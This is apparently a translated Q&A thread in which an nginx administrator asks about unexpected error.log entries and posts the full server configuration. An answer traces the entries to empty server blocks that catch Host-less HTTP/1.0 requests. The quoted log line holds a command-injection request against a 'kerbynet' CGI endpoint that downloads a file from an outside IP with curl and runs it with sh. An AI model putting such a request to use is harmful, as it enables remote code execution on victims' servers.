我注意到在我的 nginx“error.log”中有人正在尝试访问我的 nginx 默认文件 (/sites-available/default 链接到 /sites-enable/default) 中甚至没有列出的位置。
当我尝试使用 IP 访问我的网站时（例如http://203.0.113.10/cgi-bin/测试)，它返回 404，并且记录在“access.log”中。而不是“error.log”中。
有人能解释一下这是怎么做到的吗？我检查了我的 nginx 配置，没有发现任何问题。
我使用的 nginx 版本：nginx/1.18.0 (Ubuntu)
2020/08/11 00:24:32 [error] 269721#269721: *506657 open()
/usr/share/nginx/html/cgi-bin/kerbynet" failed (2: No such file or directory), client: 192.0.2.4, server: ,
request: "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F198.51.100.55%2Fzero;sh%20zero;%22 HTTP/1.0"
我的 nginx 默认设置：
server {
listen 80 default_server;
listen [::]:80 default_server;
# SSL configuration
#
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem; # managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem; # managed by Certbot
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
root /var/www/html/cache/;
# Add index.php to the list if you are using PHP
index index.html index.php index.htm index.nginx-debian.html;
server_name _;
location / {
# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
}
# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
location ~ /\.ht {
deny all;
}
}
nginx -T 输出：
# configuration file /etc/nginx/nginx.conf:
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;
# multi_accept on;
}
http {
##
# Basic Settings
##
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
# server_tokens off;
# server_names_hash_bucket_size 64;
# server_name_in_redirect off;
include /etc/nginx/mime.types;
default_type application/octet-stream;
##
# SSL Settings
##
ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
ssl_prefer_server_ciphers on;
##
# Logging Settings
##
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
##
# Gzip Settings
##
gzip on;
# gzip_vary on;
# gzip_proxied any;
# gzip_comp_level 6;
# gzip_buffers 16 8k;
# gzip_http_version 1.1;
# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
##
# Virtual Host Configs
##
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/modules-enabled/50-mod-http-image-filter.conf:
load_module modules/ngx_http_image_filter_module.so;
# configuration file /etc/nginx/modules-enabled/50-mod-http-xslt-filter.conf:
load_module modules/ngx_http_xslt_filter_module.so;
# configuration file /etc/nginx/modules-enabled/50-mod-mail.conf:
load_module modules/ngx_mail_module.so;
# configuration file /etc/nginx/modules-enabled/50-mod-stream.conf:
load_module modules/ngx_stream_module.so;
# configuration file /etc/nginx/mime.types:
types {
text/html html htm shtml;
text/css css;
text/xml xml;
image/gif gif;
image/jpeg jpeg jpg;
application/javascript js;
application/atom+xml atom;
application/rss+xml rss;
text/mathml mml;
text/plain txt;
text/vnd.sun.j2me.app-descriptor jad;
text/vnd.wap.wml wml;
text/x-component htc;
image/png png;
image/tiff tif tiff;
image/vnd.wap.wbmp wbmp;
image/x-icon ico;
image/x-jng jng;
image/x-ms-bmp bmp;
image/svg+xml svg svgz;
image/webp webp;
application/font-woff woff;
application/java-archive jar war ear;
application/json json;
application/mac-binhex40 hqx;
application/msword doc;
application/pdf pdf;
application/postscript ps eps ai;
application/rtf rtf;
application/vnd.apple.mpegurl m3u8;
application/vnd.ms-excel xls;
application/vnd.ms-fontobject eot;
application/vnd.ms-powerpoint ppt;
application/vnd.wap.wmlc wmlc;
application/vnd.google-earth.kml+xml kml;
application/vnd.google-earth.kmz kmz;
application/x-7z-compressed 7z;
application/x-cocoa cco;
application/x-java-archive-diff jardiff;
application/x-java-jnlp-file jnlp;
application/x-makeself run;
application/x-perl pl pm;
application/x-pilot prc pdb;
application/x-rar-compressed rar;
application/x-redhat-package-manager rpm;
application/x-sea sea;
application/x-shockwave-flash swf;
application/x-stuffit sit;
application/x-tcl tcl tk;
application/x-x509-ca-cert der pem crt;
application/x-xpinstall xpi;
application/xhtml+xml xhtml;
application/xspf+xml xspf;
application/zip zip;
application/octet-stream bin exe dll;
application/octet-stream deb;
application/octet-stream dmg;
application/octet-stream iso img;
application/octet-stream msi msp msm;
application/vnd.openxmlformats-officedocument.wordprocessingml.document docx;
application/vnd.openxmlformats-officedocument.spreadsheetml.sheet xlsx;
application/vnd.openxmlformats-officedocument.presentationml.presentation pptx;
audio/midi mid midi kar;
audio/mpeg mp3;
audio/ogg ogg;
audio/x-m4a m4a;
audio/x-realaudio ra;
video/3gpp 3gpp 3gp;
video/mp2t ts;
video/mp4 mp4;
video/mpeg mpeg mpg;
video/quicktime mov;
video/webm webm;
video/x-flv flv;
video/x-m4v m4v;
video/x-mng mng;
video/x-ms-asf asx asf;
video/x-ms-wmv wmv;
video/x-msvideo avi;
}
# configuration file /etc/nginx/sites-enabled/default:
##
# You should look at the following URL's in order to grasp a solid understanding
# of Nginx configuration files in order to fully unleash the power of Nginx.
# https://www.nginx.com/resources/wiki/start/
# https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/
# https://wiki.debian.org/Nginx/DirectoryStructure
#
# In most cases, administrators will remove this file from sites-enabled/ and
# leave it as reference inside of sites-available where it will continue to be
# updated by the nginx packaging team.
#
# This file will automatically load configuration files provided by other
# applications, such as Drupal or Wordpress. These applications will be made
# available underneath a path with that package name, such as /drupal8.
#
# Please see /usr/share/doc/nginx-doc/examples/ for more detailed examples.
##
# Default server configuration
#
server {
listen 80 default_server;
listen [::]:80 default_server;
# SSL configuration
#
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem; # managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem; # managed by Certbot
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
#
# Note: You should disable gzip for SSL traffic.
# See: https://bugs.debian.org/773332
#
# Read up on ssl_ciphers to ensure a secure configuration.
# See: https://bugs.debian.org/765782
#
# Self signed certs generated by the ssl-cert package
# Don't use them in a production server!
#
# include snippets/snakeoil.conf;
root /var/www/html/cache/;
# Add index.php to the list if you are using PHP
index index.html index.php index.htm index.nginx-debian.html;
server_name _;
location / {
# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
}
# pass PHP scripts to FastCGI server
#
#location ~ \.php$ {
# include snippets/fastcgi-php.conf;
#
# # With php-fpm (or other unix sockets):
# fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
# # With php-cgi (or other tcp sockets):
# fastcgi_pass 127.0.0.1:9000;
#}
# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
location ~ /\.ht {
deny all;
}
}
# Virtual Host configuration for example.com
#
# You can move that to a different file under sites-available/ and symlink that
# to sites-enabled/ to enable it.
#
#server {
# listen 80;
# listen [::]:80;
#
# server_name example.com;
#
# root /var/www/example.com;
# index index.html;
#
# location / {
# try_files $uri $uri/ =404;
# }
#}
# configuration file /etc/nginx/snippets/fastcgi-php.conf:
# regex to split $uri to $fastcgi_script_name and $fastcgi_path
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
# Check that the PHP script exists before passing it
try_files $fastcgi_script_name =404;
# Bypass the fact that try_files resets $fastcgi_path_info
# see: http://trac.nginx.org/nginx/ticket/321
set $path_info $fastcgi_path_info;
fastcgi_param PATH_INFO $path_info;
fastcgi_index index.php;
include fastcgi.conf;
# configuration file /etc/nginx/fastcgi.conf:
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param QUERY_STRING $query_string;
fastcgi_param REQUEST_METHOD $request_method;
fastcgi_param CONTENT_TYPE $content_type;
fastcgi_param CONTENT_LENGTH $content_length;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_param REQUEST_URI $request_uri;
fastcgi_param DOCUMENT_URI $document_uri;
fastcgi_param DOCUMENT_ROOT $document_root;
fastcgi_param SERVER_PROTOCOL $server_protocol;
fastcgi_param REQUEST_SCHEME $scheme;
fastcgi_param HTTPS $https if_not_empty;
fastcgi_param GATEWAY_INTERFACE CGI/1.1;
fastcgi_param SERVER_SOFTWARE nginx/$nginx_version;
fastcgi_param REMOTE_ADDR $remote_addr;
fastcgi_param REMOTE_PORT $remote_port;
fastcgi_param SERVER_ADDR $server_addr;
fastcgi_param SERVER_PORT $server_port;
fastcgi_param SERVER_NAME $server_name;
# PHP only, required if PHP was built with --enable-force-cgi-redirect
fastcgi_param REDIRECT_STATUS 200;
# configuration file /etc/nginx/sites-enabled/example.com:
server {
# listen 80 ;
# listen [::]:80;
# server_name example.com;
# return 301 https://$server_name$request_uri;
# root /var/www/html/example/webroot;
# index index.php index.html index.htm;
# location / {
# try_files $uri $uri/ /index.php?$args;
# }
# location ~ /.well-known/ {
# allow all;
# location ~ ^/.well-known/(.+\.php)$ {
#location ~ \.php$ {
# Ubuntu 20
# include snippets/fastcgi-php.conf;
# fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
# }
# }
# location ~ \.php$ {
# Ubuntu 20
# include snippets/fastcgi-php.conf;
# fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
# }
# location ~ /(\.ht|\.git|\.svn) {
# deny all;
# }
# return 301 https://$server_name$request_uri;
}
server {
listen 80 ;
listen [::]:80;
listen 443 ssl;
listen [::]:443 ssl;
server_name example.com;
ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem; # managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem; # managed by Certbot
client_max_body_size 20M;
access_log /var/log/nginx/example_access.log;
error_log /var/log/nginx/example_error.log;
#underscores_in_headers on;
root /var/www/html/example/webroot;
index index.html index.php;
location / {
# try_files $uri $uri/ /index.php?$uri; #&$args;
# working good
try_files $uri $uri/ /index.php?$args;
# set $new_uri $uri;
}
location /exampleHiddenPath {
#Force SSL !!!
if ($ssl_protocol = "") {
rewrite ^ https://$server_name$request_uri? permanent;
}
auth_basic "Admin Login";
auth_basic_user_file /etc/nginx/pma_pass;
root /usr/share/nginx/html/;
index index.php index.html index.htm;
location ~ ^/exampleHiddenPath/(.+\.php)$ {
# Below is for ubuntu 20
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
}
location ~* ^/exampleHiddenPath/(.+\.(jpg|jpeg|gif|css|png|js|ico|html|xml|txt))$ {
root /usr/share/nginx/html/;
}
}
location ~ \.php$ {
# Ubuntu 20
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
}
location ~ /(\.ht|\.git|\.svn) {
deny all;
}
}
# configuration file /etc/nginx/sites-enabled/staging.example.com:
server {
# listen 80 ;
# listen [::]:80;
# listen 443 ssl;
# return 301 https://$server_name$request_uri;
# client_max_body_size 20M;
## location / {
# working good
## try_files $uri $uri/ /index.php?$args;
## }
}
server {
listen 80 ;
listen 443 ssl;
server_name staging.example.com;
# ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem; # managed by Certbot
# ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem; # managed by Certbot
# ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem; # managed by Certbot
# ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem; # managed by Certbot
location ~ /.well-known {
allow all;
}
client_max_body_size 20M;
access_log /var/log/nginx/staging_access.log;
error_log /var/log/nginx/staging_error.log;
#underscores_in_headers on;
root /var/www/html/staging/webroot;
index index.html index.php;
location / {
# try_files $uri $uri/ /index.php?$uri; #&$args;
# working good
try_files $uri $uri/ /index.php?$args;
# set $new_uri $uri;
}
location /exampleHiddenPath {
#Force SSL !!!
if ($ssl_protocol = "") {
rewrite ^ https://$server_name$request_uri? permanent;
}
auth_basic "Admin Login";
auth_basic_user_file /etc/nginx/pma_pass;
root /usr/share/nginx/html/;
index index.php index.html index.htm;
location ~ ^/exampleHiddenPath/(.+\.php)$ {
# Below is for ubuntu 20
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
}
location ~* ^/exampleHiddenPath/(.+\.(jpg|jpeg|gif|css|png|js|ico|html|xml|txt))$ {
root /usr/share/nginx/html/;
}
}
location ~ \.php$ {
# Ubuntu 20
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
}
location ~ /(\.ht|\.git|\.svn) {
deny all;
}
}
答案1
你确实有二没有内容的空server块（因为你注释掉了块的内容，但没有注释掉块本身）。这些块声明 no server_name，因此将匹配任何（古老的或畸形的）HTTP/1.0 请求缺少 Host: 标头。由于这些块声明没有root，它们将从编译后的默认文档根目录提供服务，该根目录通常是/usr/share/nginx/html。这似乎是为什么此 HTTP/1.0 请求在尝试读取不存在的文件后出现 404 错误的原因。